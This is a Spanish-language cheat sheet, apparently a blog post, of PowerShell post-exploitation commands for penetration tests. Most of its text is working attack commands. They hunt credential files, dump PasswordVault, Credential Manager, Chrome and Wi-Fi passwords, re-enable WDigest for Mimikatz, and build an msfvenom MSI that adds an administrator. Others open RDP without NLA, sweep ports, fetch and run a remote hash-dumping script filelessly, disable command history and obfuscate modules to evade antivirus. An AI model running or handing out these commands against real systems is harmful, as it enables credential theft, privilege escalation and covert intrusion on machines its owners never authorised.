Este artículo contiene una lista de comandos de PowerShell recopilados de diversas fuentes en Internet, que podrían ser útiles durante pruebas de penetración o ejercicios de equipos rojos.
La lista incluye varios comandos de post-explotación en PowerShell puro sin requerir módulos de terceros ofensivos (potencialmente marcados como maliciosos), así como un conjunto de comandos administrativos útiles.
¡Vamos a ello!
Localización de archivos con información sensible
Los siguientes comandos de PowerShell pueden ser útiles durante la fase de post-explotación para localizar archivos en el disco que puedan contener credenciales, detalles de configuración y otra información sensible.
Encontrar archivos potencialmente interesantes
Con este comando podemos identificar archivos con datos potencialmente sensibles, como información de cuentas, credenciales, archivos de configuración, etc., basándonos en sus nombres:
gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue
Aunque esto puede generar mucho ruido, también puede arrojar resultados muy interesantes.
Se recomienda hacerlo para cada unidad de disco, pero también puedes ejecutarlo solo en la carpeta c:\users
para obtener algunos resultados rápidos.
Encontrar credenciales en archivos Sysprep o Unattend
Este comando buscará restos de instalaciones automatizadas y auto-configuración, que podrían contener contraseñas en texto plano o contraseñas codificadas en base64:
gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue
Esta es una de las técnicas bien conocidas de escalada de privilegios, ya que la contraseña suele ser la del administrador local.
Se recomienda hacerlo para cada unidad de disco.
Encontrar archivos de configuración que contengan la cadena “password”
Con este comando podemos localizar archivos que contengan un patrón específico, por ejemplo, aquí estamos buscando el patrón “password” en varios archivos de configuración de texto:
gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"
Aunque esto puede generar mucho ruido, también podría arrojar resultados interesantes.
Se recomienda hacerlo para cada unidad de disco.
Encontrar credenciales de base de datos en archivos de configuración
Usando el siguiente comando de PowerShell, podemos encontrar cadenas de conexión a bases de datos (con credenciales en texto plano) almacenadas en varios archivos de configuración como web.config
para la configuración de ASP.NET, en archivos de proyectos de Visual Studio, etc.:
gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"
Encontrar cadenas de conexión, por ejemplo, para un servidor Microsoft SQL Server remoto podría llevar a una ejecución remota de comandos (RCE) utilizando la funcionalidad xp_cmdshell
y el consecuente movimiento lateral.
Localizar archivos de configuración del servidor web
Con este comando, podemos encontrar fácilmente archivos de configuración pertenecientes a Microsoft IIS, XAMPP, Apache, PHP o MySQL:
gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
Estos archivos pueden contener contraseñas en texto plano u otra información interesante que podría permitir el acceso a otros recursos, como bases de datos, interfaces administrativas, etc.
Extracción de credenciales
Los siguientes comandos de PowerShell también pertenecen a la categoría de post-explotación y pueden ser útiles para extraer credenciales después de obtener acceso a un sistema Windows.
Obtener contraseñas almacenadas en Windows PasswordVault
Usando el siguiente comando de PowerShell, podemos extraer secretos del PasswordVault de Windows, que es un mecanismo integrado de Windows para almacenar contraseñas y credenciales web, por ejemplo, para Internet Explorer, Edge y otras aplicaciones:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }
Nota que la bóveda (vault) suele estar almacenada en las siguientes ubicaciones y solo es posible recuperar los secretos en el contexto del usuario actualmente conectado:
C:\Users\<USUARIO>\AppData\Local\Microsoft\Vault\
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
C:\ProgramData\Microsoft\Vault\
Obtener contraseñas almacenadas en el Windows Credential Manager
El Windows Credential Manager (Administrador de Credenciales de Windows) proporciona otro mecanismo para almacenar credenciales para iniciar sesión en sitios web, acceder a sistemas remotos y varias aplicaciones, y también proporciona una forma segura de usar credenciales en scripts de PowerShell.
Con la siguiente línea, podemos recuperar todas las credenciales almacenadas en el Administrador de Credenciales usando el módulo de PowerShell CredentialManager:
Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
Al igual que PasswordVault, las credenciales se almacenan en ubicaciones del perfil de usuario individual y solo el usuario actualmente conectado puede descifrar las suyas:
C:\Users\<USUARIO>\AppData\Local\Microsoft\Credentials\
C:\Users\<USUARIO>\AppData\Roaming\Microsoft\Credentials\
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\
Volcar contraseñas del navegador Google Chrome
El siguiente comando extrae las credenciales almacenadas en el navegador Google Chrome, si está instalado y si hay contraseñas almacenadas:
[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))
Del mismo modo, esto debe ejecutarse en el contexto del usuario objetivo (víctima).
Obtener contraseñas Wi-Fi almacenadas en los perfiles inalámbricos
Con este comando podemos extraer todas las contraseñas Wi-Fi almacenadas (WEP, WPA PSK, WPA2 PSK, etc.) de los perfiles inalámbricos configurados en el sistema Windows:
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize
Es importante tener privilegios administrativos para que esto funcione.
Buscar la cadena de comunidad SNMP en el registro
El siguiente comando extraerá la cadena de comunidad SNMP almacenada en el registro, si existe alguna:
gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue
Encontrar una cadena de comunidad SNMP no es un problema crítico, pero podría ser útil para:
- Entender qué tipo de patrones de contraseñas utilizan los administradores de sistemas en la organización.
- Realizar un ataque de rociado de contraseñas (suponiendo que las contraseñas podrían reutilizarse en otros lugares).
Buscar un patrón de cadena en el registro
El siguiente comando de PowerShell buscará en los registros seleccionados (HKCR, HKCU, HKLM, HKU y HKCC) y buscará recursivamente cualquier patrón elegido dentro de los nombres de claves del registro o valores de datos. En este caso, estamos buscando el patrón “password”:
$pattern = "password"
$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"
# Buscar en las claves del registro
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }
# Buscar en los valores del registro
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}
Aunque esto podría tomar mucho tiempo y generar mucho ruido, sin duda encontrará cada aparición del patrón elegido en el registro.
Escalada de privilegios
Las siguientes secciones contienen comandos de PowerShell útiles para ataques de escalada de privilegios, en casos donde solo tenemos acceso con un usuario de bajos privilegios y queremos escalar nuestros privilegios a administrador local.
Buscar credenciales de inicio de sesión automático en el registro
Los sistemas Windows pueden estar configurados para iniciar sesión automáticamente al arrancar, lo cual es común en sistemas POS (puntos de venta). Normalmente, esto se configura almacenando el nombre de usuario y la contraseña en una ubicación específica del registro de Winlogon, en texto claro.
El siguiente comando obtendrá las credenciales de inicio de sesión automático del registro:
gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"
Verificar si AlwaysInstallElevated está habilitado
Si las siguientes claves del registro AlwaysInstallElevated están configuradas en 1, significa que cualquier usuario con bajos privilegios puede instalar archivos *.msi con privilegios de NT AUTHORITY\SYSTEM. Aquí te mostramos cómo verificarlo con PowerShell:
gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Ten en cuenta que ambas claves del registro deben estar configuradas en 1 para que esto funcione.
Un paquete de instalación MSI puede generarse fácilmente utilizando la utilidad msfvenom del Framework Metasploit. Por ejemplo, podemos agregarnos al grupo de administradores:
msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi
Buscar rutas de servicios no entrecomilladas
El siguiente comando de PowerShell imprimirá los servicios cuya ruta del ejecutable no esté entre comillas (“):
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Esto puede llevar a una escalada de privilegios en caso de que la ruta del ejecutable también contenga espacios y tengamos permisos de escritura en cualquiera de las carpetas de la ruta.
Se pueden encontrar más detalles sobre esta técnica, incluidos los pasos de explotación, aquí o aquí.
Verificar la caché de credenciales WDigest de LSASS
Usando el siguiente comando podemos verificar si la caché de credenciales WDigest está habilitada en el sistema o no. Esta configuración dicta si podremos usar Mimikatz para extraer credenciales en texto claro de la memoria del proceso LSASS.
(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
- Si el valor está configurado en 0, la caché está deshabilitada (el sistema está protegido).
- Si no existe o está configurado en 1, la caché está habilitada.
Si está deshabilitada, podemos habilitarla con el siguiente comando, pero también tendremos que reiniciar el sistema después:
sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1
Credenciales en SYSVOL y Preferencias de Políticas de Grupo (GPP)
En entornos corporativos de Active Directory de Windows, a veces se pueden encontrar credenciales almacenadas en las Políticas de Grupo, en varios scripts personalizados o archivos de configuración en los controladores de dominio en los recursos compartidos de red SYSVOL.
Dado que los recursos compartidos de red SYSVOL son accesibles para cualquier usuario autenticado del dominio, podemos identificar fácilmente si hay credenciales almacenadas utilizando el siguiente comando:
Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location
Un ejemplo típico es MS14-025 con el atributo cPassword en los archivos XML de GPP. El atributo “cpassword” puede descifrarse instantáneamente en forma de texto plano, por ejemplo, utilizando la utilidad gpp-decrypt en Kali Linux.
Comandos relacionados con la red
Aquí hay algunos comandos de PowerShell relacionados con la red que pueden ser útiles, particularmente durante pruebas de penetración interna y ejercicios similares.
Establecer dirección MAC desde la línea de comandos
A veces puede ser útil establecer la dirección MAC en una interfaz de red, y con PowerShell podemos hacerlo fácilmente sin usar ninguna utilidad de terceros:
Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"
Esto puede ser útil, por ejemplo, cuando estamos probando para evadir el control de acceso a la red (NAC) y otras cosas.
Permitir conexiones de Escritorio Remoto
Este trío de comandos puede ser útil cuando queremos conectarnos al sistema usando una sesión gráfica de RDP, pero no está habilitada por alguna razón:
# Permitir conexiones RDP
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)
# Desactivar NLA (Autenticación a Nivel de Red)
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
# Permitir RDP en el firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True
Ahora el puerto tcp/3389 debería estar abierto y deberíamos poder conectarnos sin problemas, por ejemplo, usando las herramientas xfreerdp
o rdesktop
desde Kali Linux.
Descubrimiento de hosts usando búsqueda masiva de DNS inverso
Usando este comando podemos realizar una búsqueda rápida de DNS inverso en la subred 10.10.1.0/24 y ver si hay algún host resoluble (potencialmente activo):
$net = "10.10.1."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt
Los resultados se guardarán en el archivo ip_hostname.txt
en el directorio de trabajo actual.
A veces esto puede ser más rápido y más encubierto que un barrido de pings o técnicas similares.
Escaneo de puertos en un host para puertos interesantes
Aquí se explica cómo realizar rápidamente un escaneo de puertos en una dirección IP específica (10.10.15.232) para los 39 puertos más interesantes:
$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "10.10.15.232"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null
Esto nos dará una conciencia situacional rápida sobre un host en particular en la red utilizando solo PowerShell.
Escanear una red en busca de un puerto específico (barrido de puertos)
Esto podría ser útil, por ejemplo, para descubrir rápidamente interfaces SSH (puerto tcp/22) en una subred de Clase C especificada (10.10.0.0/24):
$port = 22
$net = "10.10.0."
0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null
Si estás intentando identificar solo sistemas Windows, cambia el puerto a 445.
Crear una unidad compartida SMB de invitado
Aquí hay un truco rápido para iniciar una unidad compartida de red SMB (CIFS) accesible por cualquiera:
new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"
Para detenerla después, ejecuta:
Remove-SmbShare -Name "sharedir" -Force
Esto podría ser útil para transferir archivos, exfiltración, etc.
Lista blanca de una dirección IP en el firewall de Windows
Aquí hay un comando útil para poner en la lista blanca una dirección IP en el firewall de Windows:
New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123
Ahora deberíamos poder conectarnos a este host desde nuestra dirección IP (10.10.15.123) en cualquier puerto.
Después de que hayamos terminado, elimina la regla:
Remove-NetFirewallRule -DisplayName "pentest"
Otros comandos útiles
Los siguientes comandos pueden ser útiles para realizar varias tareas administrativas, para recopilar información sobre el sistema o para utilizar funcionalidades adicionales de PowerShell que pueden ser útiles durante una prueba de penetración.
Descarga y ejecución sin archivos
Usando este pequeño comando de PowerShell, podemos descargar y ejecutar fácilmente código PowerShell alojado de forma remota, ya sea en nuestra propia máquina o en Internet:
iex(iwr("https://URL"))
iwr
= Invoke-WebRequestiex
= Invoke-Expression
El contenido remoto se descargará y cargará sin tocar el disco (sin archivos). Ahora solo podemos ejecutarlo.
Podemos usar esto para cualquier número de módulos ofensivos populares, por ejemplo:
https://github.com/samratashok/nishang
https://github.com/PowerShellMafia/PowerSploit
https://github.com/FuzzySecurity/PowerShell-Suite
https://github.com/EmpireProject/Empire
Aquí tienes un ejemplo de volcado de hashes de contraseñas locales (hashdump) utilizando el módulo Get-PassHashes de Nishang:
iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes
Muy fácil, pero ten en cuenta que probablemente esto será detectado por cualquier AV o EDR decente.
Lo que podrías hacer en casos como este es que podrías ofuscar los módulos que quieres usar y alojarlos en algún lugar de tu propiedad.
Obtener SID del usuario actual
El siguiente comando devolverá el valor SID del usuario actual:
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
Verificar si estamos ejecutando con privilegios elevados (admin)
Aquí tienes un comando rápido para verificar si estamos ejecutando una sesión de PowerShell elevada con privilegios de Administrador:
If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }
Deshabilitar el registro de comandos de PowerShell
Por defecto, PowerShell registra automáticamente hasta 4096 comandos en el archivo de historial, de manera similar a Bash en Linux.
El archivo de historial de PowerShell es un archivo de texto plano ubicado en el perfil de cada usuario en la siguiente ubicación:
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Con el siguiente comando(s) podemos deshabilitar la funcionalidad de registro de comandos de PowerShell en la sesión de shell actual:
Set-PSReadlineOption –HistorySaveStyle SaveNothing
o,
Remove-Module PSReadline
Esto puede ser útil en ejercicios de red team si queremos minimizar nuestra huella en el sistema.
A partir de ahora, ningún comando se registrará en el archivo de historial de PowerShell. Sin embargo, ten en cuenta que los comandos anteriores aún se registrarán en el archivo de historial, así que ten en cuenta que esto no es completamente encubierto.
Listar productos antivirus (AV) instalados
Aquí tienes un comando simple de PowerShell para consultar el Centro de Seguridad e identificar todos los productos Antivirus instalados en esta computadora:
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
Al decodificar el valor de productState
, podemos identificar qué AV está habilitado actualmente (en caso de que haya más de uno instalado), si las firmas están actualizadas e incluso qué características y motores de escaneo del AV están habilitados (por ejemplo, protección en tiempo real, anti-spyware, auto-actualización, etc.).
Este es un tema bastante esotérico sin una solución simple. Aquí tienes algunos enlaces sobre el tema:
- https://mspscripts.com/get-installed-antivirus-information-2/
- https://jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/
- https://stackoverflow.com/questions/4700897/wmi-security-center-productstate-clarification/4711211
- https://docs.microsoft.com/en-us/windows/win32/api/iwscapi/ne-iwscapi-wsc_security_product_state
Conclusión
Espero que encuentres útil esta colección durante tus pruebas de penetración. Por favor, deja un comentario con TU comando favorito.
Para otros comandos interesantes, consulta nuestra referencia infosec de PowerShell pura o echa un vistazo a nuestra colección de herramientas de ciberseguridad.
Si has disfrutado de esta colección y te gustaría más contenido como este, ¡suscríbete a nuestra lista de correo y síguenos en Twitter y Facebook para no perderte nuevas adiciones!